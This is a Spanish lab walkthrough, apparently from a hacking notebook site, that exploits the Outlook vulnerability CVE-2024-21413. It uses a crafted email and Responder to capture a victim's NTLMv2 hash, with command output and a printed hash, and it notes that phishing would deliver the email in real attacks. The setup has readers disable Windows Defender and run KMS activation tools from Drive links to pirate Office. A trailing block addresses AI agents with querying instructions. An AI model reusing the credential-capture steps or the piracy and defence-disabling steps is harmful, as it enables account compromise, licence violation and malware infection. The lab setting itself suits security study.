# CVE-2024-21413 (Outlook)

Lo que primero tendremos que hacer es instalar en nuestro `hipervisor` un `Windows 10`, una vez estando dentro de la maquina tendremos que ejecutar los siguiente comandos.

## <mark style="color:purple;">Instalación laboratorio</mark>

### hMailServer

Tendremos que crear un servidor en local para crear los dos correos los cuales uno sera el del `atacante` y otro el de la `victima`, por lo que tendremos que descargar la herramienta llamada `hMailServer` para `Windows`.

URL = [Download hMailServer](https://www.hmailserver.com/download_getfile?performdownload=1\&downloadid=271)

> NOTA IMPORTANTE

Antes de instalar `hMailServer` puede ser que de un error en la instalacion, por lo que instalaremos de forma manual una dependencia que necesita dicho programa llamada `NetFx20SP1_x64`, nos la descargaremos en el siguiente link:

URL = [Download NetFx20SP1\_x64](https://drive.google.com/file/d/1GEG5UAsorn_E4qliTwQ9Rf6Y51SOaF9W/view?usp=sharing)

Una vez instalado dicha dependencia ejecutaremos el instalador de `hMailServer`, una vez que se haya instalado siguiendo todos los pasos por defecto (Estableceremos una contraseña para el servidor en el proceso de instalacion), abriremos el ejecutable y nos aparecera una pantalla como esta:

<figure><img src="/files/xjUIYJ2Kaabwz7XSDsSu" alt=""><figcaption></figcaption></figure>

Tendremos que darle a `Connect`, meteremos las `password` que configuramos anteriormente en el proceso de instalacion y le daremos a `Ok`, esto nos metera en un menu con las opciones del servidor de correo, las cuales tendremos que configurar de la siguiente forma:

Le daremos a `Add Domain...` -> En la parte de `Domain` pondremos el dominio que queremos que tenga, por ejemplo `victim.local` -> `Save`

Y con esto habremos creado el dominio, si nos vamos a la parte de `Domains` -> `<NUESTRO_DOMINIO>` -> `Accounts` -> le daremos `Add...` para añadir una cuenta de correo bajo dicho dominio, por lo que le nombraremos por ejemplo en `Address` como `victim` -> `Save` y el mism proceso pero creando el de `attacker`, quedando algo asi:

<figure><img src="/files/CCghNWnes0jQDerhKjcQ" alt=""><figcaption></figcaption></figure>

Ahora nos iremos a la seccion de `Settings` -> `Protocols` -> `SMTP` -> `Delivery of e-mail` -> en `localhost name` pondremos la IP de la maquina victima y en `SMTP Relayer` -> `Remote Host Name` pondremos la misma IP de la maquina victima

Con esto ya estaria configurado nuestro servidor de correo.

### Office + Outlook

Tendremos que instalar `Office` para de ahi instalar solo `Outlook`, por lo que utilizaremos una herramienta llamada `KMSTools`:

URL = [Download KMSTools](https://drive.google.com/file/d/14nq443DbRFrAuaYhlfApX5MznFVrP2mq/view?usp=sharing)

Tendremos que desactivar el `Windows Defender` para descomprimir y ejecutar esta herramienta:

Buscaremos `Seguridad de Windows` -> `Proteccion Antivirus y contra amenazas` -> `Configuracion de Antivirus y contra amenazas` -> `Administrar la configuracion` -> Desactivamos la casilla de `Proteccion en tiempo real`.

Una vez echo esto descomprimiremos el archivo, lo que sera una carpeta que usaremos mas adelante y el ejecutable llamado `KMSTools.exe`, se abrira una interfaz en la que pulsaremos `Instalar Office 2019` y nos aparecera una ventana en la que tendremos que seleccionar la arquitectura de `x64`, el idioma en `es-ES` y deseleccionar todo dejando solo la opcion de `Outlook` de la parte izquierda, le daremos a `Instalar`.

Una vez que se haya instalado todo correctamente, abriremos la carpeta llamada `Programs` -> `KMSAuto Lite Portable v1.5.5` -> Ejecutamos el archivo llamado `KMSAuto x64.exe`.

Con esto lo que haremos sera activar `Office` con una licencia, seleccionaremos `Activar Office` cuando nos pregunte si estamos seguros le daremos a que `si`, este proceso puede tardar un poco, pero cuando ponga `Succesful` significa que ya podremos abrir `OutLook` de forma activada y con licencia.

### Añadir cuentas de correo a Outlook

Tendremos que abrir `Outlook`, si lo abrimos por primera vez nos aparecera algo asi:

<figure><img src="/files/WWbWj8cIhrF1TPbb20UQ" alt=""><figcaption></figcaption></figure>

Por lo que en esa parte tendremos que poner la primera cuenta de correo que en mi caso seria `victim@victim.local` seguir todos los pasos para añadir la cuenta y seguidamente añadir otra que seria la de `attacker@victim.local` asignandole una contraseña a cada una de ellas, una vez terminado el proceso de añadir dichas cuentas, ya podremos intentar explotar dicha vulenrabilidad.

En tal caso de que ya tengamos el `Outlook` con unas cuentas, para añadir mas tendremos que darle a `Archivo` -> `Informacion` -> `Agregar Cuenta`

## <mark style="color:purple;">Explotación CVE-2024-21413</mark>

Como ya tendremos añadidas las cuentas de correo en dicha maquina, podremos hacerlo con los scripts que estan en el siguiente repositorio:

URL = GitHub CVE-2024-21413

> NOTA

En un entorno real se tendra que utilizar alguna cuenta de correo en forma de suplantacion o un `phishing` para obtener dicho correo.

Una vez teniendo los scripts, tendremos que ejecutar primero:

```shell
python3 exploitSendEmailOutlook.py
```

Info:

```
╭─────────────────────────────────────────────────────────────────────────────────── Email Exploit Tool ────────────────────────────────────────────────────────────────────────────────────╮
│ Herramienta de Envío de Correo Exploit                                                                                                                                                    │
│ Automatiza el envío de correos con fines educativos y de prueba.                                                                                                                          │
╰───────────────────────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────────────────────╯
Introduce el correo electrónico del remitente (attacker): attacker@victim.local 
Introduce el correo electrónico del destinatario (victim): victim@victim.local
Introduce la contraseña del remitente: 
Introduce la IP del servidor SMTP: 192.168.5.194

Resumen de la información ingresada:
- Remitente: attacker@victim.local
- Destinatario: victim@victim.local
- Servidor SMTP IP: 192.168.5.194
¿Quieres proceder con el envío del correo? (si/no) [s/n]: s

Intentando conectar al servidor SMTP...
Conexión establecida con el servidor SMTP.
Intentando iniciar sesión en el servidor SMTP...
Autenticación exitosa.
Enviando correo...
Correo enviado exitosamente.
```

Para enviar el correo a la victima siguiendo los pasos del script, despues tendremos que ejecutar seguidamente el siguiente script:

```shell
python3 captureHashResponder.py
```

Info:

```
╭──────────────────────────────────────────────────────────────────── Responder Runner ─────────────────────────────────────────────────────────────────────╮
│ Herramienta de Ejecución de Responder                                                                                                                     │
│ Un script para ejecutar el comando Responder con estilo.                                                                                                  │
╰───────────────────────────────────────────────────────────────────── Creador: d1se0 ──────────────────────────────────────────────────────────────────────╯
Introduce la interfaz de red (ejemplo: eth0, wlan0, etc.): eth0
Has seleccionado la interfaz: eth0
¿Quieres proceder con el comando? (si/no) [s/n]: s
Ejecutando comando: sudo responder -I {interface} -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [OFF]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.5.186]
    Responder IPv6             [fe80::30c1:636f:f2b6:3224]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-398S1PLA1HZ]
    Responder Domain Name      [7FKZ.LOCAL]
    Responder DCE-RPC Port     [46910]

[+] Listening for events...
```

Para estar a la escucha cuando el usuario clicke el enlace y nos llegue los `hashes` `NTLMv2`

El usuario en la maquina `Windows` podremos ver que nos llega el correo, por lo que si le damos a `Click aqui`, tendremos que confirmar que `si` a que queremos continuar y nos dara un error, por que sea esta intentando conectar a un recurso `samba` que no existe, para el usuario sera algo normal, pero en la maquina atacante, podremos ver que obtuvimos el `hash NTLMv2` del usuario donde tenemos la escucha.

```
[HTTP] Sending NTLM authentication request to 192.168.5.194
[WebDAV] NTLMv2 Client   : 192.168.5.194
[WebDAV] NTLMv2 Username : DESKTOP-LAJ79G5\victim
[WebDAV] NTLMv2 Hash     : victim::DESKTOP-LAJ79G5:adaa9c32fec22d78:1421E09CFD2A7473B5823C9B0DC85837:0101000000000000A95CFDFA3546DB0116F397A8DD6E6C2900000000020008004700370036004D0001001E00570049004E002D00570055004C0051004D0042004D0052005A0056004400040014004700370036004D002E004C004F00430041004C0003003400570049004E002D00570055004C0051004D0042004D0052005A00560044002E004700370036004D002E004C004F00430041004C00050014004700370036004D002E004C004F00430041004C00080030003000000000000000000000000030000038EBDB2DDF593E53E76A4E873E3326621E3F5AC29A4DCBD27FC921C7BF0B5A6B0A0010000000000000000000000000000000000009002E0048005400540050002F00760069006300740069006D002E006C006F00630061006C0064006F006D00610069006E000000000000000000
```

Por lo que ya tendremos que intentar crackearlo con `john` o `hashcat`.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dise0.gitbook.io/h4cker_b00k/articulos/cve-2024-21413-outlook.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
